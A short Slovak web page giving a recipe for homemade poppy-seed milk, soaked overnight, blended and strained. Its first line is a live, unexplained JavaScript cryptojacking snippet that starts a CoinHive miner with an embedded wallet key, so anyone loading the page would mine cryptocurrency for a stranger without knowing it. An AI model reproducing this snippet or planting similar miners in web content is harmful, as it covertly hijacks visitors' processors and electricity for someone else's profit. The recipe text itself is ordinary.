var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Potrebujeme: 100 g celého maku, 800 ml vody

Postup: 100 g celého maku prepláchneme a zalejeme 800-100 ml vody. Menšie množstvo vody zabezpečí výslednú hustejšiu mliečnu konzistenciu. Takto zaliaty mak necháme cez noc namočený pri izbovej teplote. Je možné ho občas premiešať a uvidíme, že zrnká majú po čase tendenciu usádzať sa na dne nádoby. V dôsledku uvoľňovaniu tuku z maku bude po pár hodinách tekutina žltohnedá. Zmes budúceho makového mlieka prelejeme do mixéra a mixujeme na najvyšších otáčkach. Mixovaním sa do vody uvoľňujú dôležité látky, tekutina začne peniť a nadobudne bielu mliečnu farbu. Nakoniec premixované makové mlieko potrebujeme precediť. Použijeme husté sitko, či sterilnú gázu, ľanové plátno alebo utierku.